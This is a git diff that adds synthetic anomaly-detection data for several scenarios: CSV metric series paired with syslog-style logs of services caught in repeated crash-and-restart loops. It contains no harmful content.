0xDEADBEEF diff --git a/anom_dataset/scenario_11/anom_11_20.csv b/anom_dataset/scenario_11/anom_11_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..d4683079516b6a8b0c05535cec6d33166691370f --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T09:00:00Z,17.47,21.22,40.56,1.67,1.36 +2025-08-15T09:00:05Z,42.58,27.09,28.28,0.96,0.74 +2025-08-15T09:00:10Z,69.64,36.86,18.99,0.6,0.62 +2025-08-15T09:00:15Z,85.04,42.29,9.22,0.43,0.44 +2025-08-15T09:00:20Z,85.11,55.96,10.07,0.4,0.35 +2025-08-15T09:00:25Z,74.38,64.21,5.22,0.25,0.26 +2025-08-15T09:00:30Z,48.56,73.83,3.15,0.17,0.1 +2025-08-15T09:00:35Z,0.49,1.69,0.15,1.06,0.75 +2025-08-15T09:00:40Z,19.24,36.7,10.42,1.03,1.1 +2025-08-15T09:00:45Z,10.12,40.71,14.04,1.4,1.07 +2025-08-15T09:00:50Z,13.27,44.05,8.06,0.99,1.29 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b/anom_dataset/scenario_11/anom_11_20.log new file mode 100644 index 0000000000000000000000000000000000000000..476719121aab7c3d4a1c528ea13431597b5615bd --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_20.log @@ -0,0 +1,58 @@ +Aug 15 09:00:00 systemd[1]: Service data-processor.service is respawning. +Aug 15 09:00:05 data-processor[1549]: INFO Starting data processing service, version 2.1.3 +Aug 15 09:00:10 data-processor[1549]: INFO Connected to database successfully. +Aug 15 09:00:35 data-processor[1549]: FATAL Unhandled exception: NullPointerException +Aug 15 09:00:35 data-processor[1549]: at com.example.Processor.process(Processor.java:152) +Aug 15 09:00:35 data-processor[1549]: at com.example.Main.run(Main.java:45) +Aug 15 09:00:35 data-processor[1549]: at java.lang.Thread.run(Thread.java:748) +Aug 15 09:00:35 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 09:01:15 CRON[415]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 09:01:20 systemd[1]: Service data-processor.service is respawning. +Aug 15 09:01:25 data-processor[1620]: INFO Starting data processing service, version 2.1.3 +Aug 15 09:01:30 data-processor[1620]: INFO Connected to database successfully. +Aug 15 09:02:00 data-processor[1620]: FATAL Unhandled exception: NullPointerException +Aug 15 09:02:00 data-processor[1620]: at com.example.Processor.process(Processor.java:152) +Aug 15 09:02:00 data-processor[1620]: at com.example.Main.run(Main.java:45) +Aug 15 09:02:00 data-processor[1620]: at java.lang.Thread.run(Thread.java:748) +Aug 15 09:02:00 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 09:02:05 systemd[1]: Service data-processor.service is respawning. +Aug 15 09:02:10 data-processor[1682]: INFO Starting data processing service, version 2.1.3 +Aug 15 09:02:15 data-processor[1682]: INFO Connected to database successfully. +Aug 15 09:02:50 data-processor[1682]: FATAL Unhandled exception: NullPointerException +Aug 15 09:02:50 data-processor[1682]: at com.example.Processor.process(Processor.java:152) +Aug 15 09:02:50 data-processor[1682]: at com.example.Main.run(Main.java:45) +Aug 15 09:02:50 data-processor[1682]: at java.lang.Thread.run(Thread.java:748) +Aug 15 09:02:50 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 09:02:55 systemd[1]: Service data-processor.service is respawning. +Aug 15 09:03:00 data-processor[1781]: INFO Starting data processing service, version 2.1.3 +Aug 15 09:03:05 data-processor[1781]: INFO Connected to database successfully. +Aug 15 09:03:30 data-processor[1781]: FATAL Unhandled exception: NullPointerException +Aug 15 09:03:30 data-processor[1781]: at com.example.Processor.process(Processor.java:152) +Aug 15 09:03:30 data-processor[1781]: at com.example.Main.run(Main.java:45) +Aug 15 09:03:30 data-processor[1781]: at java.lang.Thread.run(Thread.java:748) +Aug 15 09:03:30 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 09:03:35 systemd[1]: Service data-processor.service is respawning. +Aug 15 09:03:40 data-processor[1875]: INFO Starting data processing service, version 2.1.3 +Aug 15 09:03:45 data-processor[1875]: INFO Connected to database successfully. +Aug 15 09:04:25 data-processor[1875]: FATAL Unhandled exception: NullPointerException +Aug 15 09:04:25 data-processor[1875]: at com.example.Processor.process(Processor.java:152) +Aug 15 09:04:25 data-processor[1875]: at com.example.Main.run(Main.java:45) +Aug 15 09:04:25 data-processor[1875]: at java.lang.Thread.run(Thread.java:748) +Aug 15 09:04:25 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 09:05:00 CRON[460]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 09:05:10 systemd[1]: Service data-processor.service is respawning. +Aug 15 09:05:15 data-processor[1938]: INFO Starting data processing service, version 2.1.3 +Aug 15 09:05:20 data-processor[1938]: INFO Connected to database successfully. +Aug 15 09:05:50 data-processor[1938]: FATAL Unhandled exception: NullPointerException +Aug 15 09:05:50 data-processor[1938]: at com.example.Processor.process(Processor.java:152) +Aug 15 09:05:50 data-processor[1938]: at com.example.Main.run(Main.java:45) +Aug 15 09:05:50 data-processor[1938]: at java.lang.Thread.run(Thread.java:748) +Aug 15 09:05:50 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Aug 15 09:06:05 systemd[1]: Service data-processor.service is respawning. +Aug 15 09:06:10 data-processor[1997]: INFO Starting data processing service, version 2.1.3 +Aug 15 09:06:15 data-processor[1997]: INFO Connected to database successfully. +Aug 15 09:06:55 data-processor[1997]: FATAL Unhandled exception: NullPointerException +Aug 15 09:06:55 data-processor[1997]: at com.example.Processor.process(Processor.java:152) +Aug 15 09:06:55 data-processor[1997]: at com.example.Main.run(Main.java:45) +Aug 15 09:06:55 data-processor[1997]: at java.lang.Thread.run(Thread.java:748) +Aug 15 09:06:55 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE \ No newline at end of file diff --git a/anom_dataset/scenario_11/anom_11_21.csv b/anom_dataset/scenario_11/anom_11_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..c6430b745c0f2a1a943fd20e1c3fbc0c9791b198 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-11T10:00:00Z,52.734266412852435,9.828059232794898,38.701050006085886,1.848707244919822,1.5463058615680192 +2025-07-11T10:00:05Z,90.17761005674743,26.925195080747777,93.94805208123853,4.738991469361602,3.6117766664800475 +2025-07-11T10:00:10Z,85.7977014640522,44.062420137900986,87.68423283254161,4.670967018555352,3.7861710939115536 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0000000000000000000000000000000000000000..66b5e5c67f4fd9553398cb6d358aa593b607ad05 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_21.log @@ -0,0 +1,84 @@ +Jul 11 10:00:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:00:40 data-processor[4567]: INFO Processed batch #1040 successfully +Jul 11 10:00:50 data-processor[4567]: FATAL: Unhandled exception in thread 'main' +Jul 11 10:00:50 data-processor[4567]: java.lang.NullPointerException: Cannot invoke 'String.length()' because 's' is null +Jul 11 10:00:50 data-processor[4567]: at com.example.my_app.DataProcessor.process(DataProcessor.java:134) +Jul 11 10:00:50 data-processor[4567]: at com.example.my_app.Main.run(Main.java:42) +Jul 11 10:00:50 data-processor[4567]: at com.example.my_app.Main.main(Main.java:16) +Jul 11 10:00:51 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:00:51 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 11 10:00:54 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 11 10:00:54 systemd[1]: Stopped Data Processing Service. +Jul 11 10:00:54 systemd[1]: Started Data Processing Service. +Jul 11 10:01:05 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:01:40 data-processor[4568]: INFO Processed batch #1100 successfully +Jul 11 10:01:50 data-processor[4568]: FATAL: Unhandled exception in thread 'main' +Jul 11 10:01:50 data-processor[4568]: java.lang.NullPointerException: Cannot invoke 'String.length()' because 's' is null +Jul 11 10:01:50 data-processor[4568]: at com.example.my_app.DataProcessor.process(DataProcessor.java:134) +Jul 11 10:01:50 data-processor[4568]: at com.example.my_app.Main.run(Main.java:42) +Jul 11 10:01:50 data-processor[4568]: at com.example.my_app.Main.main(Main.java:16) +Jul 11 10:01:51 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:01:51 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 11 10:01:54 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 11 10:01:54 systemd[1]: Stopped Data Processing Service. +Jul 11 10:01:54 systemd[1]: Started Data Processing Service. +Jul 11 10:02:10 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:02:40 data-processor[4569]: INFO Processed batch #1160 successfully +Jul 11 10:02:50 data-processor[4569]: FATAL: Unhandled exception in thread 'main' +Jul 11 10:02:50 data-processor[4569]: java.lang.NullPointerException: Cannot invoke 'String.length()' because 's' is null +Jul 11 10:02:50 data-processor[4569]: at com.example.my_app.DataProcessor.process(DataProcessor.java:134) +Jul 11 10:02:50 data-processor[4569]: at com.example.my_app.Main.run(Main.java:42) +Jul 11 10:02:50 data-processor[4569]: at com.example.my_app.Main.main(Main.java:16) +Jul 11 10:02:51 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:02:51 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 11 10:02:54 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 11 10:02:54 systemd[1]: Stopped Data Processing Service. +Jul 11 10:02:54 systemd[1]: Started Data Processing Service. +Jul 11 10:03:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:03:40 data-processor[4570]: INFO Processed batch #1220 successfully +Jul 11 10:03:50 data-processor[4570]: FATAL: Unhandled exception in thread 'main' +Jul 11 10:03:50 data-processor[4570]: java.lang.NullPointerException: Cannot invoke 'String.length()' because 's' is null +Jul 11 10:03:50 data-processor[4570]: at com.example.my_app.DataProcessor.process(DataProcessor.java:134) +Jul 11 10:03:50 data-processor[4570]: at com.example.my_app.Main.run(Main.java:42) +Jul 11 10:03:50 data-processor[4570]: at com.example.my_app.Main.main(Main.java:16) +Jul 11 10:03:51 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:03:51 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 11 10:03:54 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 11 10:03:54 systemd[1]: Stopped Data Processing Service. +Jul 11 10:03:54 systemd[1]: Started Data Processing Service. +Jul 11 10:04:20 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:04:40 data-processor[4571]: INFO Processed batch #1280 successfully +Jul 11 10:04:50 data-processor[4571]: FATAL: Unhandled exception in thread 'main' +Jul 11 10:04:50 data-processor[4571]: java.lang.NullPointerException: Cannot invoke 'String.length()' because 's' is null +Jul 11 10:04:50 data-processor[4571]: at com.example.my_app.DataProcessor.process(DataProcessor.java:134) +Jul 11 10:04:50 data-processor[4571]: at com.example.my_app.Main.run(Main.java:42) +Jul 11 10:04:50 data-processor[4571]: at com.example.my_app.Main.main(Main.java:16) +Jul 11 10:04:51 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:04:51 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 11 10:04:54 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 11 10:04:54 systemd[1]: Stopped Data Processing Service. +Jul 11 10:04:54 systemd[1]: Started Data Processing Service. +Jul 11 10:05:25 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:05:40 data-processor[4572]: INFO Processed batch #1340 successfully +Jul 11 10:05:50 data-processor[4572]: FATAL: Unhandled exception in thread 'main' +Jul 11 10:05:50 data-processor[4572]: java.lang.NullPointerException: Cannot invoke 'String.length()' because 's' is null +Jul 11 10:05:50 data-processor[4572]: at com.example.my_app.DataProcessor.process(DataProcessor.java:134) +Jul 11 10:05:50 data-processor[4572]: at com.example.my_app.Main.run(Main.java:42) +Jul 11 10:05:50 data-processor[4572]: at com.example.my_app.Main.main(Main.java:16) +Jul 11 10:05:51 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:05:51 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 11 10:05:54 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 11 10:05:54 systemd[1]: Stopped Data Processing Service. +Jul 11 10:05:54 systemd[1]: Started Data Processing Service. +Jul 11 10:06:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:06:40 data-processor[4573]: INFO Processed batch #1400 successfully +Jul 11 10:06:50 data-processor[4573]: FATAL: Unhandled exception in thread 'main' +Jul 11 10:06:50 data-processor[4573]: java.lang.NullPointerException: Cannot invoke 'String.length()' because 's' is null +Jul 11 10:06:50 data-processor[4573]: at com.example.my_app.DataProcessor.process(DataProcessor.java:134) +Jul 11 10:06:50 data-processor[4573]: at com.example.my_app.Main.run(Main.java:42) +Jul 11 10:06:50 data-processor[4573]: at com.example.my_app.Main.main(Main.java:16) +Jul 11 10:06:51 systemd[1]: data-processor.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:06:51 systemd[1]: data-processor.service: Failed with result 'exit-code'. +Jul 11 10:06:54 systemd[1]: data-processor.service: Service hold-off time over, scheduling restart. +Jul 11 10:06:54 systemd[1]: Stopped Data Processing Service. +Jul 11 10:06:54 systemd[1]: Started Data Processing Service. diff --git a/anom_dataset/scenario_11/anom_11_22.csv b/anom_dataset/scenario_11/anom_11_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..6e6b1663ad7021686ff8a755822f61c7cd242015 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-11T10:07:00Z,0.0,30.0,28.94,1.71,2.55 +2025-07-11T10:07:05Z,30.95,42.11,29.9,2.17,1.61 +2025-07-11T10:07:10Z,57.29,58.37,22.33,2.9,1.68 +2025-07-11T10:07:15Z,86.99,67.58,29.74,1.47,1.84 +2025-07-11T10:07:20Z,94.92,74.58,38.26,2.71,4.9 +2025-07-11T10:07:25Z,89.66,65.8,26.74,4.44,3.39 diff --git a/anom_dataset/scenario_11/anom_11_22.log b/anom_dataset/scenario_11/anom_11_22.log new file mode 100644 index 0000000000000000000000000000000000000000..63241e4ad0e4ad8f0bc1e475fe4d68e2f1064d4e --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_22.log @@ -0,0 +1,65 @@ +Jul 11 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 11 10:00:00 CRON[9876]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:00:00 web-app[6543]: GET /api/v1/health status=200 OK +Jul 11 10:00:20 web-app[6543]: GET /api/v1/health status=200 OK +Jul 11 10:00:40 web-app[6543]: FATAL: Segmentation fault (core dumped) +Jul 11 10:00:40 web-app[6543]: at memory_manager.c:42 +Jul 11 10:00:40 web-app[6543]: at user_service.c:118 +Jul 11 10:00:45 systemd[1]: web-app.service: Main process exited, code=exited, status=139/SEGV +Jul 11 10:00:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 11 10:00:50 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 1. +Jul 11 10:00:50 systemd[1]: Stopped Web App Service. +Jul 11 10:00:50 systemd[1]: Started Web App Service. +Jul 11 10:01:40 web-app[6544]: FATAL: Segmentation fault (core dumped) +Jul 11 10:01:40 web-app[6544]: at memory_manager.c:42 +Jul 11 10:01:40 web-app[6544]: at user_service.c:118 +Jul 11 10:01:45 systemd[1]: web-app.service: Main process exited, code=exited, status=139/SEGV +Jul 11 10:01:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 11 10:01:50 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 2. +Jul 11 10:01:50 systemd[1]: Stopped Web App Service. +Jul 11 10:01:50 systemd[1]: Started Web App Service. +Jul 11 10:02:05 systemd[1]: Starting daily clean up activities... +Jul 11 10:02:40 web-app[6545]: FATAL: Segmentation fault (core dumped) +Jul 11 10:02:40 web-app[6545]: at memory_manager.c:42 +Jul 11 10:02:40 web-app[6545]: at user_service.c:118 +Jul 11 10:02:45 systemd[1]: web-app.service: Main process exited, code=exited, status=139/SEGV +Jul 11 10:02:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 11 10:02:50 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 3. +Jul 11 10:02:50 systemd[1]: Stopped Web App Service. +Jul 11 10:02:50 systemd[1]: Started Web App Service. +Jul 11 10:02:55 CRON[9876]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:03:40 web-app[6546]: FATAL: Segmentation fault (core dumped) +Jul 11 10:03:40 web-app[6546]: at memory_manager.c:42 +Jul 11 10:03:40 web-app[6546]: at user_service.c:118 +Jul 11 10:03:45 systemd[1]: web-app.service: Main process exited, code=exited, status=139/SEGV +Jul 11 10:03:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 11 10:03:50 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 4. +Jul 11 10:03:50 systemd[1]: Stopped Web App Service. +Jul 11 10:03:50 systemd[1]: Started Web App Service. +Jul 11 10:04:10 systemd[1]: Starting daily clean up activities... +Jul 11 10:04:40 web-app[6547]: FATAL: Segmentation fault (core dumped) +Jul 11 10:04:40 web-app[6547]: at memory_manager.c:42 +Jul 11 10:04:40 web-app[6547]: at user_service.c:118 +Jul 11 10:04:45 systemd[1]: web-app.service: Main process exited, code=exited, status=139/SEGV +Jul 11 10:04:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 11 10:04:50 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 11 10:04:50 systemd[1]: Stopped Web App Service. +Jul 11 10:04:50 systemd[1]: Started Web App Service. +Jul 11 10:05:40 web-app[6548]: FATAL: Segmentation fault (core dumped) +Jul 11 10:05:40 web-app[6548]: at memory_manager.c:42 +Jul 11 10:05:40 web-app[6548]: at user_service.c:118 +Jul 11 10:05:45 systemd[1]: web-app.service: Main process exited, code=exited, status=139/SEGV +Jul 11 10:05:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 11 10:05:50 CRON[9876]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:05:50 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 6. +Jul 11 10:05:50 systemd[1]: Stopped Web App Service. +Jul 11 10:05:50 systemd[1]: Started Web App Service. +Jul 11 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 11 10:06:40 web-app[6549]: FATAL: Segmentation fault (core dumped) +Jul 11 10:06:40 web-app[6549]: at memory_manager.c:42 +Jul 11 10:06:40 web-app[6549]: at user_service.c:118 +Jul 11 10:06:45 systemd[1]: web-app.service: Main process exited, code=exited, status=139/SEGV +Jul 11 10:06:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 11 10:06:50 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 7. +Jul 11 10:06:50 systemd[1]: Stopped Web App Service. +Jul 11 10:06:50 systemd[1]: Started Web App Service. diff --git a/anom_dataset/scenario_11/anom_11_23.csv b/anom_dataset/scenario_11/anom_11_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..50e09b3e6f88701a38e9590da5879402d83abfd4 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,85.7513277653847,33.007374006808476,41.52572070240747,2.7628470042904336,2.062448554226579 +2025-07-03T10:00:05Z,64.22666623201096,41.940044051569636,44.10546371699654,3.777678286642209,1.206910937906197 +2025-07-03T10:00:10Z,49.22863940667635,60.303032622349335,59.09825257407076,3.7878055115933016,1.7824703022629282 +2025-07-03T10:00:15Z,29.737556865339606,75.85684179767287,52.53210002361166,2.0025309960345097,2.837038442751625 +2025-07-03T10:00:20Z,0.1,5.0,0.5,0.1,0.1 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-0,0 +1,75 @@ +Jul 03 10:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor-pod +Jul 03 10:00:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:15 payment-processor[4321]: FATAL: Unhandled exception: NullPointerException at com.example.PaymentGateway.process(PaymentGateway.java:128) +Jul 03 10:00:15 payment-processor[4321]: at com.example.Main.run(Main.java:42) +Jul 03 10:00:20 systemd[1]: Service payment-processor.service entered failed state. +Jul 03 10:00:20 systemd[1]: payment-processor.service: main process exited, code=exited, status=1/FAILURE +Jul 03 10:00:25 systemd[1]: payment-processor.service: Unit entered failed state. +Jul 03 10:00:25 systemd[1]: payment-processor.service holdoff time over, scheduling restart. +Jul 03 10:00:25 systemd[1]: Started Payment Processor Service. +Jul 03 10:00:35 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor-pod +Jul 03 10:01:10 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor-pod +Jul 03 10:01:15 payment-processor[4321]: FATAL: Unhandled exception: NullPointerException at com.example.PaymentGateway.process(PaymentGateway.java:128) +Jul 03 10:01:15 payment-processor[4321]: at com.example.Main.run(Main.java:42) +Jul 03 10:01:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:20 systemd[1]: Service payment-processor.service entered failed state. +Jul 03 10:01:20 systemd[1]: payment-processor.service: main process exited, code=exited, status=1/FAILURE +Jul 03 10:01:25 systemd[1]: payment-processor.service: Unit entered failed state. +Jul 03 10:01:25 systemd[1]: payment-processor.service holdoff time over, scheduling restart. +Jul 03 10:01:25 systemd[1]: Started Payment Processor Service. +Jul 03 10:01:45 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor-pod +Jul 03 10:02:15 payment-processor[4321]: FATAL: Unhandled exception: NullPointerException at com.example.PaymentGateway.process(PaymentGateway.java:128) +Jul 03 10:02:15 payment-processor[4321]: at com.example.Main.run(Main.java:42) +Jul 03 10:02:20 systemd[1]: Service payment-processor.service entered failed state. +Jul 03 10:02:20 systemd[1]: payment-processor.service: main process exited, code=exited, status=1/FAILURE +Jul 03 10:02:20 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor-pod +Jul 03 10:02:25 systemd[1]: payment-processor.service: Unit entered failed state. +Jul 03 10:02:25 systemd[1]: payment-processor.service holdoff time over, scheduling restart. +Jul 03 10:02:25 systemd[1]: Started Payment Processor Service. +Jul 03 10:02:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor-pod +Jul 03 10:03:15 payment-processor[4321]: FATAL: Unhandled exception: NullPointerException at com.example.PaymentGateway.process(PaymentGateway.java:128) +Jul 03 10:03:15 payment-processor[4321]: at com.example.Main.run(Main.java:42) +Jul 03 10:03:20 systemd[1]: Service payment-processor.service entered failed state. +Jul 03 10:03:20 systemd[1]: payment-processor.service: main process exited, code=exited, status=1/FAILURE +Jul 03 10:03:25 systemd[1]: payment-processor.service: Unit entered failed state. +Jul 03 10:03:25 systemd[1]: payment-processor.service holdoff time over, scheduling restart. +Jul 03 10:03:25 systemd[1]: Started Payment Processor Service. +Jul 03 10:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor-pod +Jul 03 10:03:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:05 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor-pod +Jul 03 10:04:15 payment-processor[4321]: FATAL: Unhandled exception: NullPointerException at com.example.PaymentGateway.process(PaymentGateway.java:128) +Jul 03 10:04:15 payment-processor[4321]: at com.example.Main.run(Main.java:42) +Jul 03 10:04:20 systemd[1]: Service payment-processor.service entered failed state. +Jul 03 10:04:20 systemd[1]: payment-processor.service: main process exited, code=exited, status=1/FAILURE +Jul 03 10:04:25 systemd[1]: payment-processor.service: Unit entered failed state. +Jul 03 10:04:25 systemd[1]: payment-processor.service holdoff time over, scheduling restart. +Jul 03 10:04:25 systemd[1]: Started Payment Processor Service. +Jul 03 10:04:40 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor-pod +Jul 03 10:05:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:15 payment-processor[4321]: FATAL: Unhandled exception: NullPointerException at com.example.PaymentGateway.process(PaymentGateway.java:128) +Jul 03 10:05:15 payment-processor[4321]: at com.example.Main.run(Main.java:42) +Jul 03 10:05:15 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor-pod +Jul 03 10:05:20 systemd[1]: Service payment-processor.service entered failed state. +Jul 03 10:05:20 systemd[1]: payment-processor.service: main process exited, code=exited, status=1/FAILURE +Jul 03 10:05:25 systemd[1]: payment-processor.service: Unit entered failed state. +Jul 03 10:05:25 systemd[1]: payment-processor.service holdoff time over, scheduling restart. +Jul 03 10:05:25 systemd[1]: Started Payment Processor Service. +Jul 03 10:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor-pod +Jul 03 10:06:15 payment-processor[4321]: FATAL: Unhandled exception: NullPointerException at com.example.PaymentGateway.process(PaymentGateway.java:128) +Jul 03 10:06:15 payment-processor[4321]: at com.example.Main.run(Main.java:42) +Jul 03 10:06:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:20 systemd[1]: Service payment-processor.service entered failed state. +Jul 03 10:06:20 systemd[1]: payment-processor.service: main process exited, code=exited, status=1/FAILURE +Jul 03 10:06:25 systemd[1]: payment-processor.service: Unit entered failed state. +Jul 03 10:06:25 systemd[1]: payment-processor.service holdoff time over, scheduling restart. +Jul 03 10:06:25 systemd[1]: Started Payment Processor Service. +Jul 03 10:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor-pod +Jul 03 10:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod payment-processor-pod +Jul 03 10:07:15 payment-processor[4321]: FATAL: Unhandled exception: NullPointerException at com.example.PaymentGateway.process(PaymentGateway.java:128) +Jul 03 10:07:15 payment-processor[4321]: at com.example.Main.run(Main.java:42) +Jul 03 10:07:20 systemd[1]: Service payment-processor.service entered failed state. +Jul 03 10:07:20 systemd[1]: payment-processor.service: main process exited, code=exited, status=1/FAILURE +Jul 03 10:07:25 systemd[1]: payment-processor.service: Unit entered failed state. +Jul 03 10:07:25 systemd[1]: payment-processor.service holdoff time over, scheduling restart. +Jul 03 10:07:25 systemd[1]: Started Payment Processor Service. diff --git a/anom_dataset/scenario_11/anom_11_24.csv b/anom_dataset/scenario_11/anom_11_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..9cf19d29845f153533abf1038fac4d6430a5f28c --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-11T10:00:00Z,60.23,59.71,29.48,1.85,2.05 +2025-08-11T10:00:05Z,96.21,80.43,45.79,3.14,2.95 +2025-08-11T10:00:10Z,72.74,81.22,5.72,1.34,1.4 +2025-08-11T10:00:15Z,72.65,82.0,7.77,1.3,1.34 +2025-08-11T10:00:20Z,77.28,77.92,11.35,1.41,1.49 +2025-08-11T10:00:25Z,75.24,75.73,11.29,1.22,1.43 +2025-08-11T10:00:30Z,75.59,76.62,9.01,1.08,1.01 +2025-08-11T10:00:35Z,79.4,84.65,14.71,1.22,1.03 +2025-08-11T10:00:40Z,72.49,83.97,11.84,1.34,1.0 +2025-08-11T10:00:45Z,72.1,82.9,6.07,1.38,1.11 +2025-08-11T10:00:50Z,74.46,82.35,14.18,1.5,1.02 +2025-08-11T10:00:55Z,87.71,89.37,2.15,0.61,0.68 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b/anom_dataset/scenario_11/anom_11_24.log @@ -0,0 +1,63 @@ +Aug 11 10:00:00 my-app[1234]: INFO: Application starting up, version 1.2.3 +Aug 11 10:00:00 systemd[1]: Starting My Application Service... +Aug 11 10:00:05 my-app[1234]: INFO: Configuration loaded successfully. +Aug 11 10:00:25 my-app[1234]: GET /api/v1/healthcheck status=200 OK +Aug 11 10:00:50 my-app[1234]: GET /api/v1/healthcheck status=200 OK +Aug 11 10:00:55 my-app[1234]: FATAL: Unhandled exception: NullPointerException. Crashing. +Aug 11 10:00:55 my-app[1234]: stack_trace: at com.example.MyClass.fatalMethod(MyClass.java:123)\nat com.example.AnotherClass.callFatal(AnotherClass.java:45) +Aug 11 10:01:00 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 11 10:01:00 systemd[1]: my-app.service: Main process exited, code=exited, status=139/n/a +Aug 11 10:01:15 my-app[1297]: INFO: Application starting up, version 1.2.3 +Aug 11 10:01:15 systemd[1]: Started My Application Service. +Aug 11 10:01:15 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 1. +Aug 11 10:01:15 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Aug 11 10:01:40 my-app[1297]: GET /api/v1/healthcheck status=200 OK +Aug 11 10:02:05 my-app[1297]: GET /api/v1/healthcheck status=200 OK +Aug 11 10:02:10 my-app[1297]: FATAL: Unhandled exception: NullPointerException. Crashing. +Aug 11 10:02:10 my-app[1297]: 